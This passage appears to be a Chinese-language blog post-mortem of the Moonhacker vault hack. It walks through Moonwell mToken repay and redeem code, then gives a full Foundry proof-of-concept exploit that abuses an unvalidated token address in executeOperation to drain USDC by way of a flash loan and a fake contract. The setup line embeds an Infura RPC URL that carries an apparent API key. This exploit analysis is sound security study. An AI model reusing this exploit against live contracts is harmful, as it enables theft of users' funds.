                    Error.MATH_ERROR,
                    FailureInfo
                        .REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
                    uint(vars.mathErr)
                ),
                0
            );
        }
 
        /* If repayAmount == uint.max, repayAmount = accountBorrows */
        if (repayAmount == type(uint).max) {
            vars.repayAmount = vars.accountBorrows;
        } else {
            vars.repayAmount = repayAmount;
        }
 
        /////////////////////////
        // EFFECTS & INTERACTIONS
        // (No safe failures beyond this point)
 
        /*
         * We call doTransferIn for the payer and the repayAmount
         *  Note: The mToken must handle variations between ERC-20 and GLMR underlying.
         *  On success, the mToken holds an additional repayAmount of cash.
         *  doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
         *   it returns the amount actually transferred, in case of a fee.
         */
        vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
 
        /*
         * We calculate the new borrower and total borrow balances, failing on underflow:
         *  accountBorrowsNew = accountBorrows - actualRepayAmount
         *  totalBorrowsNew = totalBorrows - actualRepayAmount
         */
        (vars.mathErr, vars.accountBorrowsNew) = subUInt(
            vars.accountBorrows,
            vars.actualRepayAmount
        );
        require(
            vars.mathErr == MathError.NO_ERROR,
            "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"
        );
 
        (vars.mathErr, vars.totalBorrowsNew) = subUInt(
            totalBorrows,
            vars.actualRepayAmount
        );
        require(
            vars.mathErr == MathError.NO_ERROR,
            "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"
        );
 
        /* We write the previously calculated values into storage */
        accountBorrows[borrower].principal = vars.accountBorrowsNew;
        accountBorrows[borrower].interestIndex = borrowIndex;
        totalBorrows = vars.totalBorrowsNew;
 
        /* We emit a RepayBorrow event */
        emit RepayBorrow(
            payer,
            borrower,
            vars.actualRepayAmount,
            vars.accountBorrowsNew,
            vars.totalBorrowsNew
        );
 
        /* We call the defense hook */
        // unused function
        // comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
 
        return (uint(Error.NO_ERROR), vars.actualRepayAmount);
    }

Redeem

用来赎回 underlying tokens。

  • redeemer: 赎回操作的发起地址,即要赎回底层资产的用户。
  • redeemTokensIn: 用户希望赎回的 mToken 数量。如果此参数大于零,则表示用户指定了要赎回的 mToken 数量。
  • redeemAmountIn: 用户希望赎回的底层资产数量。如果此参数大于零,则表示用户指定了要赎回的底层资产数量。
/**
     * @notice User redeems mTokens in exchange for the underlying asset
     * @dev Assumes interest has already been accrued up to the current block
     * @param redeemer The address of the account which is redeeming the tokens
     * @param redeemTokensIn The number of mTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
     * @param redeemAmountIn The number of underlying tokens to receive from redeeming mTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero)
     * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
     */
    function redeemFresh(
        address payable redeemer,
        uint redeemTokensIn,
        uint redeemAmountIn
    ) internal returns (uint) {
        require(
            redeemTokensIn == 0 || redeemAmountIn == 0,
            "one of redeemTokensIn or redeemAmountIn must be zero"
        );
 
        RedeemLocalVars memory vars;
 
        /* exchangeRate = invoke Exchange Rate Stored() */
        (
            vars.mathErr,
            vars.exchangeRateMantissa
        ) = exchangeRateStoredInternal();
        if (vars.mathErr != MathError.NO_ERROR) {
            return
                failOpaque(
                    Error.MATH_ERROR,
                    FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED,
                    uint(vars.mathErr)
                );
        }
 
        /* If redeemTokensIn > 0: */
        if (redeemTokensIn > 0) {
            /*
             * We calculate the exchange rate and the amount of underlying to be redeemed:
             *  redeemTokens = redeemTokensIn
             *  redeemAmount = redeemTokensIn x exchangeRateCurrent
             */
            if (redeemTokensIn == type(uint).max) {
                vars.redeemTokens = accountTokens[redeemer];
            } else {
                vars.redeemTokens = redeemTokensIn;
            }
 
            (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(
                Exp({mantissa: vars.exchangeRateMantissa}),
                vars.redeemTokens
            );
            if (vars.mathErr != MathError.NO_ERROR) {
                return
                    failOpaque(
                        Error.MATH_ERROR,
                        FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
                        uint(vars.mathErr)
                    );
            }
        } else {
            /*
             * We get the current exchange rate and calculate the amount to be redeemed:
             *  redeemTokens = redeemAmountIn / exchangeRate
             *  redeemAmount = redeemAmountIn
             */
            if (redeemAmountIn == type(uint).max) {
                vars.redeemTokens = accountTokens[redeemer];
 
                (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(
                    Exp({mantissa: vars.exchangeRateMantissa}),
                    vars.redeemTokens
                );
                if (vars.mathErr != MathError.NO_ERROR) {
                    return
                        failOpaque(
                            Error.MATH_ERROR,
                            FailureInfo
                                .REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
                            uint(vars.mathErr)
                        );
                }
            } else {
                vars.redeemAmount = redeemAmountIn;
 
                (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(
                    redeemAmountIn,
                    Exp({mantissa: vars.exchangeRateMantissa})
                );
                if (vars.mathErr != MathError.NO_ERROR) {
                    return
                        failOpaque(
                            Error.MATH_ERROR,
                            FailureInfo
                                .REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
                            uint(vars.mathErr)
                        );
                }
            }
        }
 
        /* Fail if redeem not allowed */
        uint allowed = comptroller.redeemAllowed(
            address(this),
            redeemer,
            vars.redeemTokens
        );
        if (allowed != 0) {
            return
                failOpaque(
                    Error.COMPTROLLER_REJECTION,
                    FailureInfo.REDEEM_COMPTROLLER_REJECTION,
                    allowed
                );
        }
 
        /* Verify market's block timestamp equals current block timestamp */
        if (accrualBlockTimestamp != getBlockTimestamp()) {
            return
                fail(
                    Error.MARKET_NOT_FRESH,
                    FailureInfo.REDEEM_FRESHNESS_CHECK
                );
        }
 
        /*
         * We calculate the new total supply and redeemer balance, checking for underflow:
         *  totalSupplyNew = totalSupply - redeemTokens
         *  accountTokensNew = accountTokens[redeemer] - redeemTokens
         */
        (vars.mathErr, vars.totalSupplyNew) = subUInt(
            totalSupply,
            vars.redeemTokens
        );
        if (vars.mathErr != MathError.NO_ERROR) {
            return
                failOpaque(
                    Error.MATH_ERROR,
                    FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
                    uint(vars.mathErr)
                );
        }
 
        (vars.mathErr, vars.accountTokensNew) = subUInt(
            accountTokens[redeemer],
            vars.redeemTokens
        );
        if (vars.mathErr != MathError.NO_ERROR) {
            return
                failOpaque(
                    Error.MATH_ERROR,
                    FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
                    uint(vars.mathErr)
                );
        }
 
        /* Fail gracefully if protocol has insufficient cash */
        if (getCashPrior() < vars.redeemAmount) {
            return
                fail(
                    Error.TOKEN_INSUFFICIENT_CASH,
                    FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE
                );
        }
 
        /////////////////////////
        // EFFECTS & INTERACTIONS
        // (No safe failures beyond this point)
 
        /* We write previously calculated values into storage */
        totalSupply = vars.totalSupplyNew;
        accountTokens[redeemer] = vars.accountTokensNew;
 
        /* We emit a Transfer event, and a Redeem event */
        emit Transfer(redeemer, address(this), vars.redeemTokens);
        emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
 
        /* We call the defense hook */
        comptroller.redeemVerify(
            address(this),
            redeemer,
            vars.redeemAmount,
            vars.redeemTokens
        );
 
        /*
         * We invoke doTransferOut for the redeemer and the redeemAmount.
         *  Note: The mToken must handle variations between ERC-20 and GLMR underlying.
         *  On success, the mToken has redeemAmount less of cash.
         *  doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
         */
        doTransferOut(redeemer, vars.redeemAmount);
 
        return uint(Error.NO_ERROR);
    }
 

其实流程也很清晰

  • 调用exchangeRateStoredInternal 获取汇率
  • 如果用户指定了要赎回的 mToken 数量 (redeemTokensIn > 0): 计算相应的可以赎回的底层资产数量(redeemAmount):
* We calculate the exchange rate and the amount of underlying to be redeemed:
*  redeemTokens = redeemTokensIn
*  redeemAmount = redeemTokensIn x exchangeRateCurrent
  • 如果用户指定了要赎回的底层资产数量 (redeemAmountIn > 0):计算用户需要赎回多少 mToken 才能获得指定的底层资产数量:
* We get the current exchange rate and calculate the amount to be redeemed:
*  redeemTokens = redeemAmountIn / exchangeRate
*  redeemAmount = redeemAmountIn
*/
  • 检查赎回是否允许:主要是检查用户的 mtoken 是否支持要赎回的相应数量
  • 计算赎回后的总供应量和用户的新余额:
  • TotalSupply 是当前市场中所有 mToken 的总供应量,赎回后总供应量应该减少。
(vars.mathErr, vars.totalSupplyNew) = subUInt(
    totalSupply,
    vars.redeemTokens
);
  • AccountTokens[redeemer] 是用户当前持有的 mToken 数量,赎回后需要减少。
(vars.mathErr, vars.accountTokensNew) = subUInt(
    accountTokens[redeemer],
    vars.redeemTokens
);
  • 确保协议有足够的现金更新状态

漏洞利用

漏洞点在于executeOperation 函数中对于 token 地址没有校验、导致可以传递恶意合约地址 image.png

漏洞利用也很清晰了

  • 首先闪电贷足够的数量,然后调用repayBorrow 偿还 Moonhacker 的借款
  • 然后调用调用 redeem 赎回 Mtoken 资产。
  • 然后调用 executeOperation ,operation 为 SUPPLY,将 token 设置为恶意合约地址,这样 moonhacker 会通过 approve 直接授权恶意合约totalSupplyAmount 数量的 token ,
  • 最后直接transferFrom 掏空 Moonhacker 池子里的 USDC 即可。

Moonhacker_exp

 
// SPDX-License-Identifier: UNLICENSED
pragma solidity
{ #0}
.8.15;
 
import "../basetest.sol";
import "../interface.sol";
 
// @KeyInfo - Total Lost :  318.9 k
// Attacker : https://optimistic.etherscan.io/address/0x36491840ebcf040413003df9fb65b6bc9a181f52
// Attack Contract1 : https://optimistic.etherscan.io/address/0x4e258f1705822c2565d54ec8795d303fdf9f768e
// Attack Contract2 : https://optimistic.etherscan.io/address/0x3a6eaaf2b1b02ceb2da4a768cfeda86cff89b287
// Vulnerable Contract : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847
// Attack Tx : https://optimistic.etherscan.io/tx/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe
 
// @Info
// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847#code (MoonHacker.sol)
// Mtoken code : https://optimistic.etherscan.io/address/0xA9CE0A4DE55791c5792B50531b18Befc30B09dcC#code (MToken.sol)
// Mtoken docs : https://docs.moonwell.fi/moonwell/developers/mtokens/contract-interactions
 
// @Analysis
// On-chain transaction analysis: https://app.blocksec.com/explorer/tx/optimism/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe
// Post-mortem : https://blog.solidityscan.com/moonhacker-vault-hack-analysis-ab122cb226f6
// Twitter Guy : https://x.com/quillaudits_ai/status/1871607695700296041
// Hacking God : https://x.com/CertiKAlert/status/1871347300918030409
 
interface IMusdc {
    function borrowBalanceCurrent(address account) external returns (uint);
    function getAccountSnapshot(address account) external returns (uint, uint, uint, uint);
}
 
interface IMoonhacker {
    function executeOperation(
        address token,
        uint256 amountBorrowed,
        uint256 premium,
        address initiator,
        bytes calldata params
    ) external;
}
 
contract Moonhacker is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 129_697_251 - 1;
    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
    IMusdc mUSDC = IMusdc(0x8E08617b0d66359D73Aa11E11017834C29155525);
    IMoonhacker moonhacker = IMoonhacker(0xD9B45e2c389b6Ad55dD3631AbC1de6F2D2229847);
    IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);
 
    function setUp() public {
        // You may need to change "optimism" to your own rpc url
        // vm.createSelectFork("optimism", blocknumToForkFrom);
        vm.createSelectFork("https://optimism-mainnet.infura.io/v3/3114f26b0b814b5881d86af336b2be9b", blocknumToForkFrom);
 
        fundingToken = address(USDC);
 
        vm.label(address(USDC), "USDC");
        vm.label(address(mUSDC), "mUSDC");
        vm.label(address(moonhacker), "moonhacker");
        vm.label(address(aaveV3), "AAVE V3");
    }
 
    function testExploit() public balanceLog {
        Attacker attacker = new Attacker();
        attacker.attack();
        attacker.getProfit();
    }
}
 
contract Attacker {
    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
    IMusdc mUSDC = IMusdc(0x8E08617b0d66359D73Aa11E11017834C29155525);
    IMoonhacker moonhacker = IMoonhacker(0xD9B45e2c389b6Ad55dD3631AbC1de6F2D2229847);
    IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);
 
    function attack() public {
        console.log(USDC.balanceOf(address(this)));
        // Start the flashloan
        // address rewardDistributor = moonhacker.
        uint256 borrowBalance = mUSDC.borrowBalanceCurrent(address(moonhacker));
        console.log("borrowBalance: %d", borrowBalance);
        aaveV3.flashLoanSimple(address(this), address(USDC), 883_917_967_954, new bytes(0), 0);
    }
 
    // Called back by AAVE V3
    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initator,
        bytes calldata params
    ) external returns (bool) { 
        // The actual exploit called 4 times
        // for (uint i = 0; i < 4; i++) {
            redeem();
            returnFunds();
        // }
        USDC.approve(address(aaveV3), amount + premium); // Approve AAVE V3 to repay the flashloan
 
        return true;
    }
 
    // Make moonhacker redeem USDC from mUSDC  
    function redeem() public {
        // Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
        uint256 borrowBalance = mUSDC.borrowBalanceCurrent(address(moonhacker));
        console.log("borrowBalance: %d", borrowBalance);
        // Get moonhacker's mTokenBalance, borrowBalance, and exchangeRateMantissa
        (, uint256 mTokenBalance,,) = mUSDC.getAccountSnapshot(address(moonhacker));
        console.log("borrowBalance: %d", mTokenBalance);
        // Give moonhacker USDC to repay
        USDC.transfer(address(moonhacker), borrowBalance);
 
        uint8 operationType = 1; // REDEEM
        bytes memory encodedRedeemParams = abi.encode(operationType, address(mUSDC), mTokenBalance);
 
        // IERC20(token).approve(mToken, amountBorrowed) => IERC20(USDC).approve(mUSDC, borrowBalance);
        // IMToken(mToken).repayBorrow(amountBorrowed) => IMToken(mUSDC).repayBorrow(borrowBalance)
        // IMToken(mToken).redeem(amountToSupplyOrReedem) => IMToken(mUSDC).redeem(mTokenBalance)
        // Get more USDC back by repaying and redeeming
 
        moonhacker.executeOperation(address(USDC), borrowBalance, 0, address(this), encodedRedeemParams);
    }
 
    // Get back the USDC from moonhacker to attacker contract
    function returnFunds() public {
        uint256 moonhackerUSDCBalance = USDC.balanceOf(address(moonhacker));
        uint8 operationType = 0; // SUPPLY
        bytes memory encodedReturnParams = abi.encode(operationType, address(this), 0);
 
        // IERC20(token).approve(mToken, totalSupplyAmount);
        // IERC20(USDC).approve(address(this), moonhackerUSDCBalance);
        // Approve USDC to attacker contract
        moonhacker.executeOperation(address(USDC), moonhackerUSDCBalance, 0, address(this), encodedReturnParams);
        
        USDC.transferFrom(address(moonhacker), address(this), moonhackerUSDCBalance);
    }
 
    // Cheat moonhacker to pass the check (SUPPLY part)
    function mint(uint256 amount) public pure returns (uint8) {
        return 0;
    }
 
    // Cheat moonhacker to pass the check (SUPPLY part)
    function borrow(uint256 amount) public pure returns (uint8) {
        return 0;
    }
 
    function getProfit() public{
        uint256 profit = USDC.balanceOf(address(this));
        USDC.transfer(msg.sender, profit);
    }
}

测试发现资金对不上,攻击完只获利了 10 w 多刀。

image.png

查看链上分析,发现存在漏洞的moonhacker 合约一共被部署了 4 个,所以一共能够获利 30 多 w 刀。

image.png